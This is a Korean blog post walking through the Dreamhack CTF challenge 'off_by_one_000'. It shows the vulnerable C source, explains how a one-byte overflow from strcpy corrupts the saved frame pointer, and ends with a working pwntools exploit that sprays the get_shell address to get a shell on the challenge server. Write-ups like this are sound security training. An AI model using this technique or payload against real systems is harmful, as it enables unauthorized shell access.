서브웨이

dreamhack off_by_one_000 풀이 본문

Pwnable/dreamhack

dreamhack off_by_one_000 풀이

샌드위치메이커 2021. 7. 27. 14:15

자 일단 RELRO랑 NX bit이 적용되어있으니 쉘코드, got 조작은 불가능 합니다.

 

소스코드를 봅시다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char cp_name[256];

void get_shell()
{
    system("/bin/sh");
}

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int cpy()
{
    char real_name[256];
    strcpy(real_name, cp_name);
    return 0;
}

int main()
{
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));

    cpy();

    printf("Name: %s", cp_name);

    return 0;
}

간단하게 전역변수에 read로 입력을 받아서 중간에 지역변수에 복사를 해주는 문제입니다.

딱봐도 공략할 껀덕지가 있어보이는곳은 read 함수와 strcpy 함수밖에 보이지 않죠?

생각해보면 read 함수로 입력을 받을때 문자열의 마지막 한 바이트는 비워둔다고 생각하고 입력을 받아야하는데 전체 크기만큼을 입력 받는것을 볼 수 있습니다. 여기서 문제가 생길 것 같습니다.

 

한번 디버깅을 해봅시다.

일단 어셈블리코드는 다음과 같습니다

 

일단 한번 임의로 A를 256개(0x100개)만큼 입력으로 줘 보면 cp_name이 위치한 0x804a060에 다음과 같이 저장됩니다.

딱 봐도 문자열의 끝을 나타내는 부분이 없는것을 알 수 있습니다.

이 경우에는 0x804a160의 한 바이트가 문자열의 끝으로 인식될 것이라 추측할 수 있습니다.

 

그럼 이대로 cpy 함수로 들어가서 어떤일이 일어나는지 봅시다.

이 사진은 strcpy가 일어나기 직전의 지역변수와 SFP, RET 상황입니다.

이 사진은 strcpy가 일어난 직후의 지역변수와 SFP, RET 상황입니다.

SFP가 저장되어 있던 0xffffd0c0의 첫 바이트를 보시면 0xc8에서 0x00으로 바뀌어버린 것을 알 수 있습니다.

이는 strcpy를 하는 과정에서 cp_name의 끝 부분이 0x804a160으로 인식되어서 총 257바이트가 복사되었으므로 SFP의 1바이트가 조작된것으로 볼 수 있습니다.

그럼 조작된 SFP는 어디를 가리키게 될까요?

위에서 볼 수 있듯이 지역변수 한가운데를 가리키게 됩니다.

 

그럼 이렇게 SFP를 조작하여서 무슨일을 할 수 있을까요?

여기서 FPO(Frame Pointer Overflow)가 등장합니다

https://hackstoryadmin.tistory.com/entry/FPO-Frame-Pointer-Overflow

 

FPO (Frame Pointer Overflow)

안녕하세요. FPO (Frame Pointer Overflow) 에 대해 포스팅을 시작하겠습니다. 먼저 FPO 란? SFP의 1byte를 overflow (overwrite) 하여 실행코드가 있는 원하는 주소로 eip 를 변조하는 기법입니다. 이를 학습하기..

hackstoryadmin.tistory.com

자세한건 위 블로그를 참고바랍니다.

 

결국 FPO를 요약하자면 조작된 SFP+4에 쉘코드의 주소 혹은 원하는 함수의 주소를 위치시켜놓으면 그곳으로 점프가 가능한 취약점입니다.

그럼 간단하게 위치를 구하고 자시고 머리쓸 필요없이 그냥 입력값으로 get_shell 함수의 주소를 반복해서 주면 어떻게든 그곳으로 점프할 것으로 추측할 수 있습니다.

 

일단 get_shell의 주소는 다음과 같습니다.

그럼 익스플로잇 코드를 짜봅시다.

from pwn import * 

p = remote('host1.dreamhack.games', 11875)
adr = 0x80485db

payload = p32(adr)*0x40

p.recvuntil('Name: ')
p.send(payload)

p.interactive()

간단하게 해결~

 

'Pwnable > dreamhack' 카테고리의 다른 글

dreamhack out_of_bound 풀이  (0) 2021.07.27
dreamhack off_by_one_001 풀이  (0) 2021.07.27
dreamhack welcome 풀이  (0) 2021.07.20
dreamhack basic_exploitation_003 풀이  (0) 2021.07.20
dreamhack basic_exploitation_002 풀이  (0) 2021.07.20
Comments